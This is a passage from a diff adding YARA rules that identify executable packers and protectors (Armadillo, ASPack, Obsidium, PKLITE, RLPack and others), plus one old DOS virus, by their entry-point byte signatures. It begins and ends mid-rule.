+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 ?? ?? ?? ?? ?? 53 8F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? B9 A5 08 00 00 8D ?? ?? ?? ?? ?? 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D ?? ?? ?? ?? ?? C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 ?? ?? ?? ?? 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1339__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.9 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Manager_30_
+{
+	meta:
+		description = "EXE Manager 3.0"
+	strings:
+		$0 = {B4 30 1E 06 CD 21 2E A3 08 00 BF 0A 00 B9 89 0A 33 C0 2E 03 05 47 E2 FA 2E 3B 06 06 00 74 09 B8 07 0E CD 10 33 C0 50 CB BF 0A 00 B9 45 05 2E 8B 16 04 00 FA 33 C0 8E C0 26 FF 36 0C 00 26 FF 36 0E 00 26 C7 06 0C 00 45 01 26 8C 0E 0E 00 2E 89}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_073__082_d_EXE_
+{
+	meta:
+		description = "aPack 0.73 - 0.82 -d [EXE]"
+	strings:
+		$0 = {8C C8 8E D8 05 00 00 8E C0 50 BE 00 00 33 FF FC B6 01 BD 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V097V099__MATCODE_Software____20080416_
+{
+	meta:
+		description = "MPRESS V0.97-V0.99 -> MATCODE Software   * 20080416"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 49 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 3B FE 73 28 AC 0A C0 74 23 8A C8 24 3F C1 E0 10 66 AD 80 E1 40 74 0F 8B D6 8B CF 03 F0 E8 60 00 00 00 03 F8 EB D8 8B C8 F3 A4 EB D2 5E 5A 83 EA 05 2B C9 3B CA 73 26 8B D9 AC 41 24 FE 3C E8 75 F2 43 83 C1 04 AD 0B C0 78 06 3B C2 73 E5 EB 06 03 C3 78 DF 03 C2 2B C3 89 46 FC EB D6 E8 00 00 00 00 5F 81 C7 69 FF FF FF B0 E9 AA B8 45 01 00 00 AB E8 00 00 00 00 58 05 A3 00 00 00 E9 93 00 00 00 53 56 57 8B F9 8B F2 8B DA 03 D8 51 55 33 C0 8B EB 8B DE 2B D2 2B C9 EB 4F 3B DD 73 6C 2B C9 66 8B 03 8D 5B 02 8A CC 80 E4 0F 0B C0 75 02 B4 10 C0 E9 04 80 C1 03 80 F9 12 72 19 8A 0B 66 83 C1 12 43 66 81 F9 11 01 72 0B 66 8B 0B 81 C1 11 01 00 00 43 43 8B F7 2B F0 F3 A4 12 D2 74 0A 72 B9 8A 03 43 88 07 47 EB F2 3B DD 73 1D 0A 13 F9 74 03 43 EB E6 8B 43 01 89 07 8B 43 05 89 47 04 8D 5B 09 8D 7F 08 33 C0 EB DF 5D 8B C7 59 2B C1 5F 5E 5B C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_035__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 035) -> GlOFF"
+	strings:
+		$0 = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10}
+		$1 = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v260_Beta_1__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v2.60 Beta 1 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? 68 74 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_Beta__v031_Beta_
+{
+	meta:
+		description = "Upack v0.29 Beta ~ v0.31 Beta"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20_RC2_
+{
+	meta:
+		description = "Nullsoft Install System v2.0 RC2"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Solidshield_Protector_V1X_DLL__Solidshield_Technologies_
+{
+	meta:
+		description = "Solidshield Protector V1.X DLL -> Solidshield Technologies"
+	strings:
+		$0 = {8B 44 24 08 48 75 0A FF 74 24 04 E8 ?? ?? ?? ?? 59 33 C0 40 C2 0C 00 55 8B EC 56 8B 75 08 85 F6 75 28 68 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 59 59 6A ?? 68 ?? ?? ?? ?? 56 6A ?? FF ?? ?? ?? ?? ?? E9 80 00 00 00 83 FE 01 75 07 5E 5D E9 D2 F6 FF}
+		$1 = {8B 44 24 08 48 75 0A FF 74 24 04 E8 ?? ?? ?? ?? 59 33 C0 40 C2 0C 00 55 8B EC 56 8B 75 08 85 F6 75 28 68 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 59 59 6A ?? 68 ?? ?? ?? ?? 56 6A ?? FF ?? ?? ?? ?? ?? E9 80 00 00 00 83 FE 01 75 07 5E 5D E9 D2 F6 FF FF 83 FE 02 57 8B 7D 10 75 53 FF 75 24 FF 75 20 FF 75 1C FF 75 18 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 20 3C 01 75 04 8B C6 EB 6A 57 FF 75 0C E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 14 3C 01 74 DF 6A 03 5E 83 FE 03 75 1B 57 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 6A 00 FF 15 ?? ?? ?? ?? 83 FE 04 75 0D FF 75 2C FF 75 28 E8 ?? ?? ?? ?? 59 59 83 FE 05 75 11 FF 75 30 FF 75 2C FF 75 28 E8 ?? ?? ?? ?? 83 C4 0C 33 C0 5F 5E 5D C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v100c_2_
+{
+	meta:
+		description = "PKLITE v1.00c (2)"
+	strings:
+		$0 = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+		$1 = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeCryptor_01_build_002__GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.1 (build 002) -> GlOFF"
+	strings:
+		$0 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+		$1 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressorLight_V1601__CGSoftLabs____20080308_
+{
+	meta:
+		description = "eXPressor.Light V1.6.0.1 -> CGSoftLabs   * 20080308"
+	strings:
+		$0 = {55 8B EC 81 EC 68 02 00 00 53 56 57 83 A5 D0 FD FF FF 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 78 60 00 75 14 6A 10 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? E8 9C FF FF FF A3 ?? ?? ?? ?? 68 04 01 00 00 8D 85 F0 FD FF FF 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 05 EF FD FF FF 89 85 DC FD FF FF 8B 85 DC FD FF FF 0F BE 00 83 F8 5C 74 0F 8B 85 DC FD FF FF 48 89 85 DC FD FF FF EB E3 8B 85 DC FD FF FF 40 89 85 DC FD FF FF 8B 85 DC FD FF FF 8D 8D F0 FD FF FF 2B C1 89 85 B4 FD FF FF 8B 8D B4 FD FF FF 8D B5 F0 FD FF FF 8D BD FC FE FF FF 8B C1 C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 85 B4 FD FF FF 80 A4 05 FD FE FF FF 00 83 A5 E0 FD FF FF 00 A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 75 11 A1 ?? ?? ?? ?? 8B 40 04 25 00 00 00 02 85 C0 74 2A E8 5B 06 00 00 89 85 E0 FD FF FF A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 0E 83 BD E0 FD FF FF 00 74 05 E9 34 06 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [LZMA] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Vprotect_V189193__CoooLie_
+{
+	meta:
+		description = "Vprotect V1.8.9-1.9.3 -> CoooLie"
+	strings:
+		$0 = {58 89 03 8B 07 8B 5F 0C 8B 4F 04 8B 57 08 8B 6F 14 8B 77 18 FF 77 24 9D 8B 67 10 50 33 C0 F0 87 47 50 58 8B 7F 1C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _bambam_001__bedrock_
+{
+	meta:
+		description = "bambam 0.01 -> bedrock"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+		$1 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v182_
+{
+	meta:
+		description = "Armadillo v1.82"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v12__Alexey_Solodovnikov_h1_
+{
+	meta:
+		description = "ASProtect v1.2 -> Alexey Solodovnikov (h1)"
+	strings:
+		$0 = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _PKLite_201_
+{
+	meta:
+		description = "PKLite 2.01"
+	strings:
+		$0 = {41 30 00 00 FF FF 00 00 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 2F 00 00 FF 2F 00 00 FF 2F 00 00 FF 2F 00 00 FF 2F 00 00 FF 2F 00 00 FF 2F 00 00 FF 2F FF FF 00 00 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PLINK86_1984_1985_
+{
+	meta:
+		description = "PLINK86 1984, 1985"
+	strings:
+		$0 = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+		$1 = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_August_16th_Iron_Maiden_
+{
+	meta:
+		description = "Vx: August 16th (Iron Maiden)"
+	strings:
+		$0 = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+		$1 = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_exe_Protector_215__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector 2.15 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LARP_V20__lena151____20080321_
+{
+	meta:
+		description = "LARP V2.0 -> lena151   * 20080321"
+	strings:
+		$0 = {E8 01 00 00 00 81 E8 02 00 00 00 81 84 E8 EF 01 00 00 81 84 E8 01 00 00 00 64 E8 02 00 00 00 E8 81 E8 81 00 00 00 C3 81 84 E8 04 00 00 00 01 31 00 00 50 68 23 31 40 00 E8 A1 01 00 00 81 68 D7 17 40 00 3B D1 0F 87 32 04 00 00 0F 86 52 28 00 00 81 84 68 F1 17 40 00 85 C9 0F 85 84 28 00 00 0F 84 42 04 00 00 81 E8 D4 18 00 00 68 5B 50 E8 76 01 00 00 81 84 68 14 18 40 00 68 B3 2C 40 00 85 C0 0F 84 27 28 00 00 0F 85 FA 03 00 00 81 84 58 83 04 24 01 83 C4 04 0B E4 74 04 FF 64 24 FC 81 E8 4B 01 00 00 81 E8 01 00 00 00 84 E8 06 00 00 00 81 84 74 00 81 84 0B E4 74 ?? ?? ?? ?? ?? ?? 00 0B E4 74 02 FF E0 81 E8 00 00 00 00 68 ?? ?? ?? ?? E8 02 00 00 00 75 BA F8 72 02 73 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 E8 FA 00 00 00 81 84 0B E4 74 27 E8 EF 00 00 00 81 84 E8 01 00 00 00 50 E8 02 00 00 00 81 84 0B E4 E8 D9 00 00 00 81 84 74 08 ?? ?? ?? ?? ?? ?? FF E2}
+	condition:
+		$0
+}
+rule _RLPack_V119_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+		$1 = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+		$2 = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _HackStop_119_build_197_EXE_
+{
+	meta:
+		description = "HackStop 1.19 build 197 [EXE]"
+	strings:
+		$0 = {56 BE EB 04 5E EB FB 9A 1E 52 B8 4D 30 CD 21 86 C4 3D D6 02 73 02 CD 20 0E 1F 56 BE EB 04 5E EB FB 9A E8 02 00 24 24 5A B4 09 CD 21 56 BE EB 04 5E EB FB 9A EB 02 D8 88 5A 1F 56 BE EB 04 5E EB FB 9A B0 AD E6 64 E8 0E F3 56 BE EB 04 5E EB FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_14_
+{
+	meta:
+		description = "Petite 1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+		$1 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PKLite_115_COM_
+{
+	meta:
+		description = "PKLite 1.15 [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 69 8B C4 2D 44 03 90 25 F0 FF 8B F8 B9 A2 00 90 BE 7E 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0E 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Password_protector_my_SMT_
+{
+	meta:
+		description = "Password protector my SMT"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098_m_
+{
+	meta:
+		description = "aPack v0.98 -m"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+		$1 = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_V3XV6X__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo V3.X-V6.X -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v171_
+{
+	meta:
+		description = "Armadillo v1.71"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Upack_V021__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.21 -> Dwing   * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 E9 07 01 00 00 8B 5D 0C 83 C2 30 FF 16 73 53 83 C2 30 FF 16 72 1B 83 C2 30 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C B1 80 8A 00 EB CF 83 C2 60 FF 16 87 5D 10 73 0D 83 C2 30 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 95 7C 07 00 00 FF 56 0C 5B 91 E9 9C 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_11__PKWARE_Inc_
+{
+	meta:
+		description = "PKLITE32 1.1 -> PKWARE Inc."
+	strings:
+		$0 = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v100b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.00b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+	condition:
+		$0 at entrypoint
+}
+rule _ActiveMARK_5x__Trymedia_SystemsInc_
+{
+	meta:
+		description = "ActiveMARK 5.x -> Trymedia Systems,Inc."
+	strings:
